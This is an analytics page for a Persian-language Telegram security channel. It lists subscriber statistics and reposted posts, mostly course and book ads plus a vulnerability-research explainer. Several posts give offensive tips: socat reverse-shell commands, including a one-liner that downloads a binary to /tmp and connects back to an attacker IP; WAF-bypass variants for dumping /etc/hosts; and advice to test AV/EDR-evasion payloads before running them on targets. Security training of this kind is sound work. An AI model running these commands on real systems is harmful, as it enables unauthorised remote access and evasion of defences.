en
Feedback

Don't get caught by a cheater! Telemetrio finds and tags such channels 👉 If you want to see the tag, subscribe

P.F.K Security

P.F.K Security

Open in Telegram

APT / Exploit / Malware / ICS / OT / Vulnerability Analysis / SE

Show more
Iran91 472The category is not specified
2 113
Subscribers
No data24 hours
+77 days
+1730 days

Loading data

Similar Channels
هوش مصنوعی،کامپیوتر،تکنولوژی
14.5K
هوش مصنوعی،کامپیوتر،تکنولوژی
Nova Group
5.8K
Nova Group
World Of Security
5.5K
World Of Security
Hypersec
4.6K
Hypersec
H4shur | هاشور | shur
1.7K
H4shur | هاشور | <H4>shur
avatar
1
More channels
Tags Cloud
No data
Any problems? Please refresh the page or contact our support manager.
Incoming and Outgoing Mentions
---
---
---
---
---
---
Attracting Subscribers
Nov '26
November '26
+24
in 2 channels
October '26
+1 247
in 110 channels
Get PRO
September '260
in 135 channels
Get PRO
August '260
in 134 channels
Get PRO
July '260
in 99 channels
Get PRO
June '260
in 2 channels
Get PRO
May '260
in 0 channels
Get PRO
April '260
in 0 channels
Get PRO
March '260
in 0 channels
Get PRO
February '260
in 5 channels
Get PRO
January '260
in 0 channels
Get PRO
December '250
in 4 channels
Get PRO
November '250
in 3 channels
Get PRO
October '250
in 1 channels
Get PRO
September '250
in 3 channels
Get PRO
August '250
in 2 channels
Get PRO
July '250
in 1 channels
Get PRO
June '250
in 0 channels
Get PRO
May '250
in 3 channels
Get PRO
April '250
in 2 channels
Get PRO
March '250
in 2 channels
Get PRO
February '250
in 1 channels
Get PRO
January '250
in 0 channels
Get PRO
December '240
in 0 channels
Get PRO
November '240
in 0 channels
Get PRO
October '24
+55
in 0 channels
Get PRO
September '24
+36
in 1 channels
Get PRO
August '240
in 0 channels
Get PRO
July '240
in 0 channels
Get PRO
June '240
in 0 channels
Get PRO
May '240
in 0 channels
Get PRO
April '240
in 0 channels
Get PRO
March '240
in 0 channels
Get PRO
February '240
in 0 channels
Get PRO
January '240
in 0 channels
Get PRO
December '230
in 0 channels
Get PRO
November '230
in 0 channels
Get PRO
October '23
+9
in 0 channels
Get PRO
September '23
+51
in 0 channels
Get PRO
August '23
+17
in 0 channels
Get PRO
July '23
+17
in 0 channels
Get PRO
June '23
+19
in 0 channels
Get PRO
May '23
+21
in 0 channels
Get PRO
April '23
+138
in 0 channels
Get PRO
March '23
+145
in 0 channels
Get PRO
February '23
+214
in 0 channels
Get PRO
January '23
+165
in 0 channels
Get PRO
December '22
+296
in 0 channels
Date
Subscriber Growth
Mentions
Channels
13 November0
12 November+1
11 November+1
10 November+3
09 November+7
08 November+1
07 November0
06 November+1
05 November+2
04 November+1
03 November+2
02 November+3
01 November+2
Channel Posts
P.F.K Security
Repost from TryHackBox
درود دوستان وب‌سایت آماده شده و در حال حاضر تنها به چند اصلاح جزئی نیاز دارد. از دوستانی که به زبان TypeScript تسلط دارند و تمایل دارند به‌صورت داوطلبانه در تکمیل و بهبود وب‌سایت مشارکت کنند، دعوت میکنیم برای هماهنگی و دریافت جزئیات بیشتر به آیدی زیر پیام بدهند: @ThbxSupport از همراهی و مشارکت شما در توسعه این مجموعه سپاسگزاریم.

2
📌 برگزاری جلسه ویس چت : با درود خدمت دوستان و همراهان عزیز، در راستای ارتقای سطح دانش فنی و آشنایی بیشتر با مباحث امنیت سایب
📌 برگزاری جلسه ویس چت :  با درود خدمت دوستان و همراهان عزیز،  در راستای ارتقای سطح دانش فنی و آشنایی بیشتر با مباحث امنیت سایبری، قصد داریم جلسه‌ای تخصصی و آموزشی در خصوص Defensive Security به صورت ویس چت برگزار کنیم. 🎙 مهمان برنامه 👤 مهندس : آرش نریمان پور 📅 زمان برگزاری: امشب 📍 پلتفرم: گوگل میت 🕗 ساعت : 20:00 🔖  لینک جلسه : meet.google.com/nhr-vtgc-uwn ⁉️ موضوع جلسه : 📌 تحلیل و شکار تهدیدات در محیط Windows و Active Directory با استفاده از Sysmon، Windows Event Logs و Splunk 🔔 نکته مهم:  جهت شرکت به موقع جلسه، حتماً کانال تلگرام را چک کنید تا از این جلسه جا نمونید . ➖➖➖➖➖➖➖➖➖➖➖➖➖➖ 🆔 @RadioZeroPod 🆔 @TryHackBox
32
3
📌 Python For Pentesters ⭕ معرفی دوره: در طول دوره، مفاهیم برنامه‌ نویسی را در قالب تمرین‌ ها و پروژه‌ های مرتبط با امنیت سای
📌 Python For Pentesters ⭕ معرفی دوره: در طول دوره، مفاهیم برنامه‌ نویسی را در قالب تمرین‌ ها و پروژه‌ های مرتبط با امنیت سایبری به کار میگیرید. به‌جای یادگیری صرف Socket Programming، با ایجاد ارتباط TCP، دریافت اطلاعات سرویس‌ های شبکه و توسعه ابزار Service Discovery آشنا میشوید. هدف دوره، آموزش Python به‌عنوان ابزاری کاربردی برای متخصصان امنیت است؛ تا بتوانید اسکریپت اختصاصی بنویسید، خروجی ابزارها را پردازش کنید و قابلیت‌های امنیتی را در قالب برنامه‌ای ساختاریافته ترکیب کنید. ⭕ توضیحات کامل ⭕ مشاهده سرفصل‌ ها ◽ مدرس: محمد امین طالبی ◽ نحوه برگزاری: آفلاین ▫️ مدت : 30 ساعت ⚠️ دوره در حال تکمیل است و ویدئوها به‌صورت مرحله‌ای منتشر می‌شوند. دانشجویان به‌تدریج به محتوای جدید دسترسی خواهند داشت. 💰 قیمت اصلی: ۳,۴۹۰,۰۰۰ تومان 🔥 قیمت ویژه عرضه اولیه: ۲,۹۹۰,۰۰۰ تومان ▫️برای ۵ نفر اول  : ۲,۴۹۰,۰۰۰ تومان خریداران عرضه اولیه با همین مبلغ به محتوای کامل دوره دسترسی خواهند داشت و پس از تکمیل دوره نیازی به پرداخت مابه‌التفاوت ندارند. 📌 جهت خرید،به ایدی زیر پیام دهید: @ThbxSupport @TryHackBox
98
4
🎙 دعوت به همکاری در تیم پادکست و گفتگوهای امنیت سایبری مجموعه TryHackBox برای توسعه مجموعه پادکست‌ ها و برگزاری گفتگوهای تخص
🎙 دعوت به همکاری در تیم پادکست و گفتگوهای امنیت سایبری مجموعه TryHackBox برای توسعه مجموعه پادکست‌ ها و برگزاری گفتگوهای تخصصی با فعالان و متخصصان حوزه امنیت سایبری، از علاقه‌مندان برای پیوستن به تیم تولید محتوا دعوت میکند. زمینه‌های همکاری: اجرا و گویندگی پادکست تحقیق و سناریونویسی اجرای گفتگو و مصاحبه با متخصصان تولید و تدوین محتوای صوتی اگر به دنیای پادکست علاقه‌ مندی، فن بیان خوبی داری یا دوست داری در کنار افراد فعال حوزه امنیت سایبری تجربه کسب کنی، خوشحال میشیم عضوی از تیم ما باشی. نوع همکاری: داوطلبانه 📩 برای اعلام آمادگی و آشنایی بیشتر، پیام بدید: @ThbxSupport
82
5
📌 برگزاری جلسه ویس چت : با درود خدمت دوستان و همراهان عزیز، در راستای ارتقای سطح دانش فنی و آشنایی بیشتر با مباحث امنیت سایب
📌 برگزاری جلسه ویس چت :  با درود خدمت دوستان و همراهان عزیز،  در راستای ارتقای سطح دانش فنی و آشنایی بیشتر با مباحث امنیت سایبری، قصد داریم جلسه‌ای تخصصی و آموزشی در خصوص Offensive Security به صورت ویس چت برگزار کنیم. 🎙 مهمان برنامه 👤 مهندس : میثم منصف 📅 زمان برگزاری: امشب 📍 پلتفرم: گوگل میت 🕗 ساعت : 21:00 🔖  لینک جلسه : http://meet.google.com/vdx-odgs-bbj ⁉️ موضوع جلسه : 📌 متدولوژی حرفه‌ای Web Pentesting 🔔 نکته مهم:  جهت شرکت به موقع جلسه، حتماً کانال تلگرام را چک کنید تا از این جلسه جا نمونید . ➖➖➖➖➖➖➖➖➖➖➖➖➖➖ 🆔 @RadioZeroPod 🆔 @TryHackBox
19
6
📌 سه مسیر برای پیدا کردن Vulnerability وقتی یک نرم‌افزار رو برای کشف Vulnerability بررسی میکنی، فقط یک راه برای تحقیق نداری. در Vulnerability Research سه حوزه اصلی وجود داره که هرکدوم از زاویه متفاوتی به نرم‌افزار نگاه میکنن: 1. Code Review اینجا با سورس‌ کد سروکار داری. کد رو دنبال میکنی تا بفهمی داده‌ ها از کجا وارد برنامه میشن، چطور پردازش میشن و در چه شرایطی ممکنه یک ضعف امنیتی ایجاد بشه. مثلاً ممکنه یک ورودی بدون اعتبارسنجی مناسب به یک تابع حساس برسه. هدف فقط پیدا کردن کد مشکوک نیست؛ باید بفهمی این مسیر واقعاً چه پیامدی داره. 2. Reverse Engineering همیشه سورس‌کد در دسترس نیست. گاهی فقط یک Binary داری و باید بفهمی نرم‌افزار در سطح پایین چطور کار میکنه. در Reverse Engineering ساختار برنامه، توابع، جریان اجرا و رفتار داخلی اون رو بررسی میکنی. این روش به‌خصوص زمانی اهمیت پیدا می‌کنه که با نرم‌افزارهای Closed-source یا Componentهایی مواجهی که کدشون منتشر نشده. 3. Fuzzing در این روش، ورودی‌ های مختلف و گاهی غیرمنتظره به برنامه داده میشن تا رفتارهای غیرعادی مشخص بشن. به‌جای اینکه تمام حالت‌های ممکن رو دستی آزمایش کنی، فرآیند تست ورودی‌ ها رو تا حد زیادی خودکار میکنی. برای مثال، Fuzzer ممکنه ورودی‌ ای تولید کنه که باعث Crash، خطای حافظه یا رفتار غیرمنتظره برنامه بشه. البته هر Crash یک Vulnerability نیست. نتیجه باید بررسی و از نظر امنیتی اعتبارسنجی بشه. این سه حوزه جایگزین یکدیگر نیستند. ممکنه با Code Review یک مسیر مشکوک پیدا کنی، با Fuzzing اون رو آزمایش کنی و برای تحلیل دقیق‌تر رفتار Binary سراغ Reverse Engineering بری. یک Researcher خوب فقط ابزارهای این حوزه‌ها رو نمیشناسه؛ میدونه چه زمانی باید از هرکدوم استفاده کنه. #از_روز_صفر_تا_زیرو_دی #VulnerabilityResearch #CodeReview #ReverseEngineering #Fuzzing #ZeroDay @PfkSecurity
291
7
پیش از اجرای پیلودهای Evasion روی سیستم تارگت، همیشه آن‌ها را در وب‌سایت‌های زیر آزمایش کنید: https://antiscan.me/ https://metadefender.opswat.com/ منابع مفید برای مطالعه تکنیک‌های AV/EDR Bypassing: https://github.com/CMEPW/BypassAV https://github.com/tkmru/awesome-edr-bypass https://github.com/MrEmpy/Awesome-AV-EDR-XDR-Bypass https://github.com/NUL0x4C/AtomPePacker @PfkSecurity
888
8
پیش از اجرای پیلودهای Evasion روی سیستم تارگت، همیشه آن‌ها را در وب‌سایت‌های زیر آزمایش کنید: https://antiscan.me/ https://metadefender.opswat.com/ منابع مفید برای مطالعه تکنیک‌های AV/EDR Bypassing: https://github.com/CMEPW/BypassAV https://github.com/tkmru/awesome-edr-bypass https://github.com/MrEmpy/Awesome-AV-EDR-XDR-Bypass https://github.com/NUL0x4C/AtomPePacker @PfkSecurity
1
9
پیش از اجرای پیلودهای Evasion روی سیستم تارگت، همیشه آن‌ها را در وب‌سایت‌ های زیر آزمایش کنید: https://antiscan.me/ https://metadefender.opswat.com/ منابع مفید برای مطالعه تکنیک‌ های AV/EDR Bypassing: https://github.com/CMEPW/BypassAV https://github.com/tkmru/awesome-edr-bypass https://github.com/MrEmpy/Awesome-AV-EDR-XDR-Bypass https://github.com/NUL0x4C/AtomPePacker @PfkSecurity
1
10
📚 مجموعه کتابهای کاربردی در دنیای امنیت 📖 کتابچه "Mimikatz: تسلط عملی بر تکنیک‌های پیشرفته حملات Active Directory" از مقدما
📚 مجموعه کتابهای کاربردی در دنیای امنیت 📖 کتابچه "Mimikatz: تسلط عملی بر تکنیک‌های پیشرفته حملات Active Directory" از مقدماتی تا پیشرفته. 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۵۰,۰۰۰ تومان 📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۵۰,۰۰۰ تومان 📖 شکار عملی باگ بانتی : از Recon تا Bounty واقعی : متدولوژی و شناسایی و آسیب پذیری های دنیای واقعی 📕 جزئیات بیشتر کتاب 💰 قیمت : ۳۶۰,۰۰۰ تومان 📖 کتابچه Kerberos For Pentesters 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۶۹ تومان ممکنه در آینده قیمت کتاب‌ ها تغییر کنه و افزایش داشته باشه بنابراین اگر قصد خرید دارید، قیمت فعلی فرصت خوبی برای تهیه کتاب‌ هاست. 📌 جهت خرید به ایدی زیر پیام دهید: @THBxSupport
218
11
📌 دوره: راهنمای جامع ابزار Mimikatz 💢اگر در حوزه Red Teaming یا Windows Penetration Testing فعالیت می‌کنید، Mimikatz ابزاری
📌 دوره: راهنمای جامع ابزار Mimikatz 💢اگر در حوزه Red Teaming یا Windows Penetration Testing فعالیت می‌کنید، Mimikatz ابزاری است که شناخت آن همچنان اهمیت دارد. قدیمی شدن یک ابزار لزوماً به معنای بی‌ استفاده شدن آن نیست. در عملیات واقعی، شناخت مکانیزم‌ های داخلی، درک تکنیک‌ ها و توانایی سفارشی‌ سازی ابزارها (Customization) اهمیت بیشتری از اجرای ساده نسخه پیش‌فرض آن‌ها دارد. فرصت یادگیری این مهارت را به تعویق نیندازید در دنیای Red Team، فاصله میان شناخت یک ابزار و توانایی استفاده مؤثر از آن، همان چیزی است که سطح تخصص شما را مشخص می‌ کند. 📌 توضیحات کامل ◽مدرس : مهندس سجاد تیموری ◽مدت زمان دوره : ۵ ساعت ۲۰ دقیقه ◻ دوره : آفلاین ⭕ دوره دارای گروه پشتیبانی می باشد. 💰 قیمت :     ۲,۰۰۰,۰۰۰  تومان 💰 با تخفیف ویژه : ۱,۲۵۰,۰۰۰ تومان 📌 جهت خرید،به ایدی زیر پیام دهید: @ThbxSupport Group @TryHackBox
105
12
📢 دعوت به همکاری جذب مدرس دوره Python for Pentesters مجموعه TryHackBox برای برگزاری دوره تخصصی Python for Pentesters از افراد متخصص و باتجربه در زمینه برنامه‌نویسی Python و امنیت سایبری دعوت به همکاری می ‌کند. هدف این دوره، آموزش کاربردی Python با تمرکز بر نیازهای واقعی متخصصان تست نفوذ و توسعه ابزارهای اختصاصی در حوزه Offensive Security است.  نحوه همکاری: همکاری در طراحی محتوای آموزشی، ضبط و تدریس جلسات و توسعه پروژه‌ های عملی دوره خواهد بود. جزئیات مدل همکاری و شرایط مالی پس از بررسی سوابق مشخص می ‌شود. 🎯 اگر در این حوزه تجربه عملی و تخصص کافی دارید و علاقه ‌مند به همکاری در تولید یک دوره تخصصی و پروژه‌ محور هستید، رزومه یا معرفی کوتاهی از سوابق خود را برای ما ارسال کنید. 📌 سرفصل ها دوره در فایل موجود است . 📩 جهت اعلام آمادگی و دریافت اطلاعات بیشتر، از طریق پیام خصوصی با ما در ارتباط باشید: @THBxSupport
179
13
روز بزرگداشت کوروش بزرگ بر تمامی ایرانیان خجسته باد. ۷ آبان، روز بزرگداشت کوروش بزرگ فرصتی است برای مرور تاریخ، تأمل در ریشه‌
روز بزرگداشت کوروش بزرگ بر تمامی ایرانیان خجسته باد. ۷ آبان، روز بزرگداشت کوروش بزرگ فرصتی است برای مرور تاریخ، تأمل در ریشه‌ها و یادآوری اینکه گذشته همیشه بخشی از هویت ماست. نه ستایش بی‌ پایان، نه تحقیر، فقط مرور واقعیت و یادآوری اثرگذاری یک انسان در تاریخ ایران @TryHackBox
28
14
🔥 سری Bash برای باگ هانترها قسمت ۲  دیگه مستقیم nc استفاده نکن و با commandهای زیر امتحان کن:  rlwrap -cAr nc -lvnp <port>  یا  rlwrap -f. -r nc -lnvp <port> حالا میتونی از arrow keys برای navigation history command استفاده کنی، اما هنوز full keyboard functionality نداری (مثل nano، CTRL shortcuts). برای full interactive keyboard controls، از socat interactive shell استفاده کن: در سمت attacker:  socat file:tty,raw,echo=0 tcp-listen:<port>  اگر error داد، امتحان کن:  socat file:$(tty),raw,echo=0 tcp-listen:<port> در سمت victim (برای full TTY reverse shell):  socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port> اگر socat روی victim machine نصب نیست، از این one-liner برای دانلود static binary استفاده کن:  wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port> برای stop کردن socat:  ps aux | grep socat  Kill -9 socat <PID> نکته: <port> رو با پورت دلخواهت جایگزین کن، <attacker_ip> رو با IP خودت، و <PID> رو با process ID. کدوم command رو اول در listenerت تست میکنی یا منتظر قسمت بعدی هستی؟ @TryHackBox #باگ_بانتی
34
15
🔥 سری Bypass برای باگ هانترها قسمت ۲  Crazy WAF Bypass:  cat /etc/hosts - WAF رو trigger میکنه xxd -p /etc/hosts | xxd -p -r  xargs -d '\n' -I{} echo {} < /etc/hosts  perl -pe '' /etc/hosts  sed '' /etc/hosts  awk '{print}' /etc/hosts  dd if=/etc/hosts 2>/dev/null کدوم پیلود از قسمت 2 (مثل xxd pipe یا awk print) رو برای WAF bypass تست کردی که file رو dump کرد و bounty شد؟ تجربت رو کامنت کن. کدوم یکی رو اول تست میکنی یا منتظر قسمت بعدی هستی؟ @TryHackBox #باگ_بانتی
17
16
⚡لیستی از ۱۰۰ آسیب‌ پذیری وب @TryHackBox #آسیب_پذیری
⚡لیستی از ۱۰۰ آسیب‌ پذیری وب @TryHackBox #آسیب_پذیری
52
17
📚 مجموعه کتاب‌های کاربردی در دنیای امنیت سایبری به مناسبت بزرگداشت کوروش بزرگ، تمامی کتاب‌های مجموعه را با ۳۰٪ تخفیف ویژه ته
📚 مجموعه کتاب‌های کاربردی در دنیای امنیت سایبری به مناسبت بزرگداشت کوروش بزرگ، تمامی کتاب‌های مجموعه را با ۳۰٪ تخفیف ویژه تهیه کنید. 📖 Mimikatz: تسلط عملی بر تکنیک‌های پیشرفته حملات Active Directory از مقدماتی تا پیشرفته 💰 قیمت اصلی: ۲۵۰,۰۰۰ تومان 🔥 قیمت با تخفیف: ۱۷۵,۰۰۰ تومان 📖 Wireshark برای ردتیمرها: از پایه تا پیشرفته 💰 قیمت اصلی: ۲۵۰,۰۰۰ تومان 🔥 قیمت با تخفیف: ۱۷۵,۰۰۰ تومان 📖 شکار عملی باگ بانتی: از Recon تا Bounty واقعی متدولوژی، شناسایی و بررسی آسیب‌پذیری‌های دنیای واقعی 💰 قیمت اصلی: ۳۶۰,۰۰۰ تومان 🔥 قیمت با تخفیف: ۲۵۲,۰۰۰ تومان 📖 Kerberos For Pentesters 💰 قیمت اصلی: ۲۶۹,۰۰۰ تومان 🔥 قیمت با تخفیف: ۱۸۸,۳۰۰ تومان 📌 توجه: این تخفیف به مناسبت بزرگداشت کوروش بزرگ در نظر گرفته شده است. 📌 جهت خرید به ایدی زیر پیام دهید: @THBxSupport
52
18
۷ آبان، روز بزرگداشت کوروش بزرگ؛ بنیان‌ گذار شکوه شاهنشاهی ایران و نماد خرد، اقتدار و آزادگی. ما امروز، بیش از هر زمان، به یادآوری ریشه‌ هایمان، پاسداری از هویت ملی نیاز داریم. @pfksecurity
741
19
اینم کانال VIPپولی ما رایگان خدمت شما🔥
19
20
☑️☑️☑️☑️☑️☑️☑️☑️☑️☑️☑️ به مناسبت 2 ساله شدن عمر چنلمون چنل VIP رو که قیمت یک میلیون هست به 100 نفر اول رایگان میدیم و بعد از 100 نفر به طور خودکار لینک باطل میشه جوین بدین👇👇👇 ⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️
51
View all posts